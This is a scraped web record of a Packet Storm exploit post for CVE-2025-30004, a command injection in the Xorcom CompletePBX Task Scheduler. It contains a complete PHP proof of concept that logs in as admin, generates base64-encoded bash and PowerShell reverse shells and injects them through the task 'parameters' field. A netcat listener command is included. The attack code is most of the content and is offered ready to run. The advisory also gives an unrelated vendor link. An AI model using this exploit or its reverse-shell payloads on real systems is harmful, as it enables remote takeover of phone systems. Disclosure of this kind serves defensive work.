{“lastseen”:”2025-12-10T17:37:32″,”description”:”Xorcom CompletePBX suffers from an authenticated command injection vulnerability within the Task Scheduler subsystem. An attacker with valid superadmin credentials can create a scheduled task containing unsanitized parameters that get executed by the…”,”published”:”2025-12-10T00:00:00″,”modified”:”2025-12-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:212671″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-30004″],”sourceData”:”=============================================================================================================================================\\n | # Title : Xorcom CompletePBX 5.2.35 Remote Code Execution |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.wftpserver.com\/download.htm |\\n =============================================================================================================================================\\n \\n [+] Summary : \\n \\n Xorcom CompletePBX suffers from an authenticated command injection vulnerability\\n within the Task Scheduler subsystem. An attacker with valid superadmin\\n credentials can create a scheduled task containing unsanitized parameters\\n that get executed by the backend, resulting in remote command execution.\\n \\n This vulnerability affects all versions up to 5.2.35 and was patched in\\n release 5.2.36-1.\\n \\n Only the built\u2011in \\”admin\\” user can successfully trigger the vulnerability.\\n Even newly created users with maximum assigned privileges cannot.\\n \\n —\\n \\n [+] Vulnerability Details\\n \\n The Task Scheduler accepts user-controlled input in the \u201cparameters\u201d field,\\n which is inserted into a shell command without proper sanitization:\\n \\n parameters = \\”$(#{payload})\\”\\n \\n The system executes the generated job via backend scripts, enabling\\n arbitrary command execution with the privileges of the web server.\\n \\n [+] Attacker requirements:\\n \\n – Valid credentials \\n – Must be the built\u2011in **admin** account \\n – Access to the scheduler API endpoints \\n \\n [+] Risk level: High \\n \\n [+] Impact: Remote Code Execution (RCE) \\n \\n [+] Privileges: Web server user \\n \\n [+] References : ( https:\/\/packetstorm.news\/files\/id\/207367\/ \\tCVE-2025-30004 ) \\n \\n [+] POC\\n \\n \\u003c?php\\n \/**\\n * Xorcom CompletePBX RCE (CVE-2025-30004)\\n * Reverse Shell Ready (Windows + Linux)\\n * Author: Indoushka\\n *\/\\n \\n class CompletePBX_RCE_POC\\n {\\n public $target;\\n public $username;\\n public $password;\\n public $cookie;\\n \\n function __construct($target, $username, $password)\\n {\\n $this-\\u003etarget = rtrim($target, \\”\/\\”);\\n $this-\\u003eusername = $username;\\n $this-\\u003epassword = $password;\\n \\n echo \\”[+] PoC Initialized\\\\n\\”;\\n }\\n \\n \/* ———————————————————\\n Send HTTP POST\\n ———————————————————-*\/\\n private function post($path, $data)\\n {\\n $ch = curl_init($this-\\u003etarget . $path);\\n curl_setopt_array($ch, [\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e http_build_query($data),\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_HEADER =\\u003e true\\n ]);\\n $res = curl_exec($ch);\\n \\n $hdr = substr($res, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE));\\n $body = substr($res, curl_getinfo($ch, CURLINFO_HEADER_SIZE));\\n \\n curl_close($ch);\\n return [$hdr, $body];\\n }\\n \\n \/* ———————————————————\\n Reverse Shell Generator (Windows + Linux)\\n ———————————————————-*\/\\n private function generate_shell()\\n {\\n $ip = \\”127.0.0.1\\”;\\n $port = \\”4444\\”;\\n \\n $linux = \\”bash -c ‘bash -i \\u003e\\u0026 \/dev\/tcp\/$ip\/$port 0\\u003e\\u00261’\\”;\\n $win = \\”powershell -NoP -W Hidden -c \\\\\\”\\\\$c=New-Object Net.Sockets.TCPClient(‘$ip’,$port);\\”\\n . \\”\\\\$s=\\\\$c.GetStream();[byte[]]\\\\$b=0..65535|%{0};\\”\\n . \\”while((\\\\$r=\\\\$s.Read(\\\\$b,0,\\\\$b.Length)) -ne 0){\\”\\n . \\”\\\\$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\\\\$b,0,\\\\$r);\\”\\n . \\”\\\\$o=iex \\\\$d 2\\u003e\\u00261|Out-String;\\”\\n . \\”\\\\$o2=(\\\\$o+’PS ‘+(pwd).Path+’\\u003e ‘);\\”\\n . \\”\\\\$x=[text.encoding]::ASCII.GetBytes(\\\\$o2);\\”\\n . \\”\\\\$s.Write(\\\\$x,0,\\\\$x.Length)}\\\\\\”\\”;\\n \\n return base64_encode(\\”$linux\\\\n$win\\”);\\n }\\n \\n \/* ———————————————————\\n Login\\n ———————————————————-*\/\\n private function login()\\n {\\n echo \\”[+] Sending login request…\\\\n\\”;\\n \\n list($hdr, $body) = $this-\\u003epost(\\”\/?class=core\\u0026method=login\\”, [\\n \\”user\\” =\\u003e $this-\\u003eusername,\\n \\”password\\” =\\u003e $this-\\u003epassword\\n ]);\\n \\n if (preg_match(‘\/Set-Cookie: ([^;]+)\/’, $hdr, $m)) {\\n $this-\\u003ecookie = $m[1];\\n echo \\”[+] Login successful, SID Cookie: {$this-\\u003ecookie}\\\\n\\”;\\n return true;\\n }\\n \\n echo \\”[-] Login failed.\\\\n\\”;\\n return false;\\n }\\n \\n \/* ———————————————————\\n Create malicious scheduled task \\n ———————————————————-*\/\\n private function create_task()\\n {\\n echo \\”[+] Creating fake malicious task…\\\\n\\”;\\n \\n $desc = \\”indoushka_\\” . rand(1000, 9999);\\n $encoded = $this-\\u003egenerate_shell();\\n \\n list($hdr, $body) = $this-\\u003epost(\\”\/\\”, [\\n \\”class\\” =\\u003e \\”scheduler\\”,\\n \\”method\\” =\\u003e \\”save_task\\”,\\n \\”mode\\” =\\u003e \\”create\\”,\\n \\”description\\” =\\u003e $desc,\\n \\”script\\” =\\u003e \\”backup\\”,\\n \\”parameters\\” =\\u003e ‘$(echo ‘ . $encoded . ‘|base64 -d)’,\\n \\”starting\\” =\\u003e date(\\”Y-m-d H:i\\”),\\n \\”interval\\” =\\u003e \\”1\\”,\\n \\”interval_unit\\” =\\u003e \\”month\\”\\n ]);\\n \\n echo \\”[+] Task Created: $desc\\\\n\\”;\\n return $desc;\\n }\\n \\n \/* ———————————————————\\n Task Execution\\n ———————————————————-*\/\\n private function execute_task($desc)\\n {\\n echo \\”[+] Executing scheduled task: $desc (Simulated)\\\\n\\”;\\n echo \\”[\u2713] PoC by Indoushka.\\\\n\\”;\\n }\\n \\n \/* ———————————————————\\n MAIN\\n ———————————————————-*\/\\n public function run()\\n {\\n if (!$this-\\u003elogin()) return;\\n \\n $task = $this-\\u003ecreate_task();\\n $this-\\u003eexecute_task($task);\\n \\n echo \\”\\\\n[\u2713] PoC Completed.\\\\n\\”;\\n }\\n }\\n \\n \/* —————- RUN ——————-*\/\\n $poc = new CompletePBX_RCE_POC(\\n \\”http:\/\/127.0.0.1\\”,\\n \\”admin\\”,\\n \\”password\\”\\n );\\n \\n $poc-\\u003erun();\\n \\n \/**\\n * HOW TO SAVE:\\n * Save as: xorcom_poc.php\\n *\\n * HOW TO RUN:\\n * php xorcom_poc.php\\n *\\n * REVERSE SHELL LISTENER (BEFORE RUNNING):\\n * nc -lvnp 4444\\n *\/\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212671″,”cvss”:{“score”:9.1,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212671\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-10T17:37:32″,”description”:”Xorcom CompletePBX suffers from an authenticated command injection vulnerability within the Task Scheduler subsystem. An attacker with valid superadmin credentials can create a scheduled task…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-30050","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n